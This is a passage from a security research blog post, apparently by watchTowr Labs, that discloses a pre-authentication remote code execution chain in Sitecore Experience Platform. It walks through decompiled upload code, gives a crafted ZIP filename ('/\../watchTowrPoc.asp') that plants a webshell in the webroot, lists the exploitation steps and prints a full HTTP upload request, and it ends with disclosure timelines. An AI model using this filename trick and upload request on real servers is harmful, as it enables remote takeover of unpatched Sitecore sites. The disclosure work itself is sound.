    Assert.ArgumentNotNull(archiveEntries, "archiveEntries");
    foreach (ZipArchiveEntry zipArchiveEntry in archiveEntries)
    {
        if (!zipArchiveEntry.IsMacOSMetaEntry())
        {
            string text = FileUtil.MakePath(args.Folder,
zipArchiveEntry.FullName, '\\'); // [1]
            if (zipArchiveEntry.FullName.EndsWith("/"))
            {
                Directory.CreateDirectory(text);
            }
            else
            {
                if (!args.Overwrite)
                {
                    text = FileUtil.GetUniqueFilename(text);
// [2]
                }

                Directory.CreateDirectory(Path.GetDirectoryName(text));
                object fileLock = FileUtil.GetFileLock(text);
                lock (fileLock)
                {
                    FileUtil.CreateFile(text,
zipArchiveEntry.Open(), true); // [3]
                }
            }
        }
    }
}

```

At [1] and [2], the filename processing is being performed. However, the code never verifies the file against the path traversal sequences (again).

At [3], the file is being written.

And here we finally are!

A path traversal in the ZIP unpacking mechanism allows us to write files to the webroot directory. It is now as simple as putting our webshell inside the ZIP archive, renaming the webshell file to `../poc.aspx` and just.. trying.

[image: image]

As we said above, it is never that easy.

We can see that the process has the current directory set to the

`c:\windows\system32\inetsrv` - thus we are not uploading directly to the webroot.

You could say: “you silly watchTowr people, just traverse back to the webroot with

`../../../../../inetpub/wwwroot/appdirectory/webshell.aspx` and pop calc finally”.

Aaaand we’re back to the part about life being not that easy.

The truth is simple, yet brutal. We won’t always know the full Sitecore webroot path, and the Sitecore user is not (expectedly) able to write to the `C:\inetpub\wwwroot`.

Now, for a refresher: When you, the user, install Sitecore, it creates 3 applications (reachable through different vhosts). Vhosts and their respective application directory will have the same name, as presented in the screenshot below:

[image: image]

watchTowr data, and our client base of installs, show that the vhost (or target FQDN) won’t always match a physical file system path in real environments (probably due to custom deployments and customization).

For instance, Sitecore may be reachable through a following host: `sitecore.acme.com`, but the application webroot directory will be located under

`C:\inetpub\wwwroot\mysitecoreinstallation`.

We are not aware of any techniques to enumerate the Sitecore webroot directory (we are aware that a technique had been published a while ago, but it does not work).

We need to figure out something better, then.

Following this chain of thought, we decided to have a deeper look at the methods responsible for ZIP file processing, like `GetUniqueFilename`, and basically praying to a higher or lower or equal power that we might find something helpful.

There are 2 code snippets left, please stay with us!

```

public static string GetUniqueFilename(string filePath)
{
    Assert.ArgumentNotNullOrEmpty(filePath, "filePath");
    bool flag = filePath.IndexOf('\\') >= 0; // [1]
    string validFilePath = FileUtil.GetValidFilePath(filePath); // [2]
    string text = FileUtil.MapPath(validFilePath); // [3]
    string directoryName = Path.GetDirectoryName(text);
    string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text);
    string extension = Path.GetExtension(text);
    int num = 1;
    string text2 = fileNameWithoutExtension;
    while (FileUtil.FileExists(text))
    {
        text2 = fileNameWithoutExtension + "_" + num.ToString("000");
        text = directoryName + "\\ " + text2 + extension;
        num++;
    }
    if (flag)
    {
        return text; // [4]
    }
    int num2 = validFilePath.LastIndexOf('/'); // [5]
    if (num2 < 0)
    {
        return text2 + extension;
    }
    return validFilePath.Substring(0, num2 + 1) + text2 + extension;
}

```

- At [1], `flag` is set to `true` if the file contains at least one `\` character.
- At [2], `FileUtil.GetValidFilePath` will replace `\` characters in path to the `_`.
- At [3], `FileUtil.MapPath` is being used to process the path.
- At [4], the path is returned without any further modifications if `flag` is set to true.

We need to have `flag` set to `true`, in order to not reach the code at [5], which further processes the path.

Now the last piece - `FileUtil.MapPath`.

```

public static string MapPath(string path)
{
    Assert.ArgumentNotNull(path, "path");
    return FileUtil.MapPath((HttpContext.Current == null) ? null : new
HttpContextWrapper(HttpContext.Current), path);
}

public static string MapPath(HttpContextBase context, string path)
{
    //...
    HttpServerUtilityBase server = WebUtil.GetServer(context); // [1]
    if (server != null)
    {
        if (path[0] == '/' && StringUtil.RemovePrefix("/",
path).StartsWith("-/temp/", StringComparison.InvariantCulture))
        {
            return FileUtil.MapPathWithTempRequestPrefix(path);
        }
        return server.MapPath(path); // [2]
    }
    //...
}

```

At [1], the current instance of the .NET `HttpServerUtilityWrapper` will be retrieved.

At [2], the code will map the current path to the webroot of the current application!

This is it! This is how we can upload a webshell to the webroot, without knowing the full system path.

When we craft a special filename, we are able to reach the code at [2] and have our filename prepended with a valid webroot for Sitecore! We can create a ZIP file, which internally stores a file called:

```
/\../watchTowrPoc.asp
```

The `GetUniqueFilename` will:

- Set `flag` to `true`.
- Replace `\` with `_`
- Map `/\../watchTowrPoc.asp` to `C:\inetpub\wwwroot\appname\watchTowrPoc.asp`

The screenshot below demonstrates how the file name is processed by this code:

[\[image: image\]](#)

Full success!

Now we can abuse the ZIP slip to upload our webshell to the webroot, without knowing the full system path.

Let's summarize the entire exploitation process:

- Authenticate as our trusty `ServicesAPI` user
- Access `Upload2.aspx` .
- Upload a ZIP file, which contains a webshell called `/\../watchTowerPoc.asp`
- Go through the `UploadForm` steps and:
- Remove all the parameters starting with the `UploadTreeview` from HTTP requests (using your favourite proxy)
- When prompted, check the `Unzip` option
- Finalize the upload.
- Enjoy your webshell.

[image: image]

And there you have it - we have chained WT-2025-0024 (CVE-2025-34509) and WT-2025-0032 (CVE-2025-34510) to build a full pre-auth RCE chain against Sitecore Experience Platform.

Long live path traversals, we guess?

[image: image]

WT-2025-0025 (CVE-2025-34511) (Bonus) - Unrestricted File Upload In PowerShell Extensions

In our voyages, we actually discovered a second Post-Auth RCE that can be exploited as `ServicesAPI` user. It's actually much easier to exploit, and thus we'll keep the summary brief:

Disclaimer: Some time after the discovery, we learnt that it exists in Sitecore PowerShell Extension, which is a very popular Sitecore add-on. It is an obligatory requirement for an extremely popular Sitecore SXA add-on. When one installs Sitecore, the installer asks you if you want to install the SXA alongside. You should expect many environments to have the PowerShell Extensions installed, but not all.

When installed, the Sitecore PowerShell extension deploys files within the `sitecore modules\Shell\PowerShell\UploadFile` location.

[image: image]

For the purposes of this brief explainer, we will focus on the very promising `PowerShellUploadFile2.aspx` , which has the following content:

```
<%@ Page language="c#" AutoEventWireup="false"
Inherits="Spe.Client.Applications.UploadFile.PowerShellUploadFilePage2" %>
<%@ OutputCache Location="None" VaryByParam="none" %>
```

Which quickly redirects us to analyze the

`Spe.Client.Applications.UploadFile.PowerShellUploadFilePage2` class:

```

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e); // [1]
    // removed for readability ...
    if (base.Request.Files.Count <= 0) // [2]
    {
        return;
    }
    try
    {
        string text = Sitecore.Context.ClientPage.ClientRequest.Form["ItemUri"]; // [3]
        string text2 = Sitecore.Context.ClientPage.ClientRequest.Form["LanguageName"];
        Language language = (text2.Length > 0) ? (LanguageManager.GetLanguage(text2) ??
Sitecore.Context.ContentLanguage) : Sitecore.Context.ContentLanguage;
        ItemUri itemUri = ItemUri.Parse(text);
        UploadArgs uploadArgs = new UploadArgs();
        if (itemUri != null)
        {
            text = itemUri.GetPathOrId();
            uploadArgs.Destination = (Settings.Media.UploadAsFiles ?
UploadDestination.File : UploadDestination.Database);
        }
        else
        {
            uploadArgs.Destination = UploadDestination.File;
            uploadArgs.FileOnly = true;
        }
        uploadArgs.Files = base.Request.Files; // [4]
        uploadArgs.Folder = text;
        uploadArgs.Overwrite =
(Sitecore.Context.ClientPage.ClientRequest.Form["Overwrite"].Length > 0);
        uploadArgs.Unpack =
(Sitecore.Context.ClientPage.ClientRequest.Form["Unpack"].Length > 0);
        uploadArgs.Versioned =
(Sitecore.Context.ClientPage.ClientRequest.Form["Versioned"].Length > 0);
        uploadArgs.Language = language;
        uploadArgs.CloseDialogOnEnd = false;
        PipelineFactory.GetPipeline("uiUpload").Start(uploadArgs); // [5]
        //...
    }
}

```

This looks incredibly familiar, right?! We are, once again, looking at the `uiUpload` pipeline. There is a difference, however - this time, we **control almost all relevant arguments**.

We can:

- Fully define a file name.
- `AllowedTypes` argument is not set during the process, thus we can upload any extension (kek).
- `uploadArgs.Folder` is set on the basis of the `ItemUri` parameter, which we fully control through the HTTP request.

Put simply, this basically means that we can upload a file with any extension to any location of the file system (as long as the IIS user has appropriate permissions). We said it was simple.

To sum up, the vulnerability can be exploited with the following HTTP request:

```
POST /sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx?
hdl=1245516121 HTTP/2
Host: labcm.dev.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary065wkmkrlwv7fgs
Cookie: .AspNet.Cookies=ServicesAPI-user-cookie
Content-Length: 789

-----WebKitFormBoundary065wkmkrlwv7fgs
Content-Disposition: form-data; name="ItemUri"

watchTowr
-----WebKitFormBoundary065wkmkrlwv7fgs
Content-Disposition: form-data; name="LanguageName"

en
-----WebKitFormBoundary065wkmkrlwv7fgs
Content-Disposition: form-data; name="Overwrite"

0
-----WebKitFormBoundary065wkmkrlwv7fgs
Content-Disposition: form-data; name="Unpack"

0
-----WebKitFormBoundary065wkmkrlwv7fgs
Content-Disposition: form-data; name="Versioned"

en
-----WebKitFormBoundary065wkmkrlwv7fgs
Content-Disposition: form-data; name="watchTowr"; filename="poc.aspx"
Content-Type: text/plain

webshell here
-----WebKitFormBoundary065wkmkrlwv7fgs
```

This will upload the webshell to the `sitecore`
`modules\Shell\PowerShell\UploadFile\watchTowr\poc.aspx` location!

Detection Artifact Generator

To sum up the entire chain:

- Abuse WT-2025-0024 (CVE-2025-34509) Hardcoded Credentials to generate a valid session for the `Sitecore\ServicesAPI` user.
- Abuse either WT-2025-0032 (CVE-2025-34510) or WT-2025-0025 (CVE-2025-34511) vulnerability to upload a webshell.

No Detection Artefact Generator this time (yet), but enjoy our demo:

0:00

/0:29

1×

Summary

We don't have much more to say here, as we have almost exhausted our pool of thoughts.

We have shown you a full Pre-Auth RCE chain against Sitecore Experience Platform and proven that, somehow, the insurmountable challenge of hardcoded credentials used in enterprise-grade code deployed across (conservatively) tens of thousands of systems continues to exist in 2025.

We think the following is the real takeaway from this research:

[\[image: image\]](#)

Timelines

WT-2025-0024 (CVE-2025-34509): Hardcoded Credentials

| Date | Detail | | 28th February 2025 | Vulnerability discovered and reported to the vendor. | | 28th February 2025 | watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected | | 28th February 2025 | Sitecore acknowledges the receipt of advisory | | 11th May 2025 | watchTowr notices that the vulnerability had been fixed in version 10.4 | | 29th May 2025 | watchTowr and Sitecore agree to hold off with the public disclosure until 17th June 2025 | |

WT-2025-0025 (CVE-2025-34511): Post-Auth RCE in PowerShell Extension

| Date | Detail | | 28th February 2025 | Vulnerability discovered and reported to the vendor. | | 28th February 2025 | Sitecore acknowledges the receipt of advisory | | 29th May 2025 | watchTowr and Sitecore agree to hold off with the public disclosure until 17th June 2025 | |

WT-2025-0032 (CVE-2025-34510): Post-Auth RCE in UploadPage2

| Date | Detail | | 18th March 2025 | Vulnerability discovered and reported to the vendor. | | 18th March 2025 | Sitecore acknowledges the receipt of advisory | | 29th May 2025 |

watchTowr and Sitecore agree to hold off with the public disclosure until 17th June 2025 | |

Gain early access to our research, and understand your exposure, with the watchTowr Platform

The research published by [watchTowr Labs](#) is powered by the same engine behind the [watchTowr Platform](#), our **Preemptive Exposure Management** solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.

The [watchTowr Platform](#) combines **External Attack Surface Management** and **Continuous Automated Red Teaming** to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.

Archived from <https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/>.
Rendered offline from the local Markdown copy.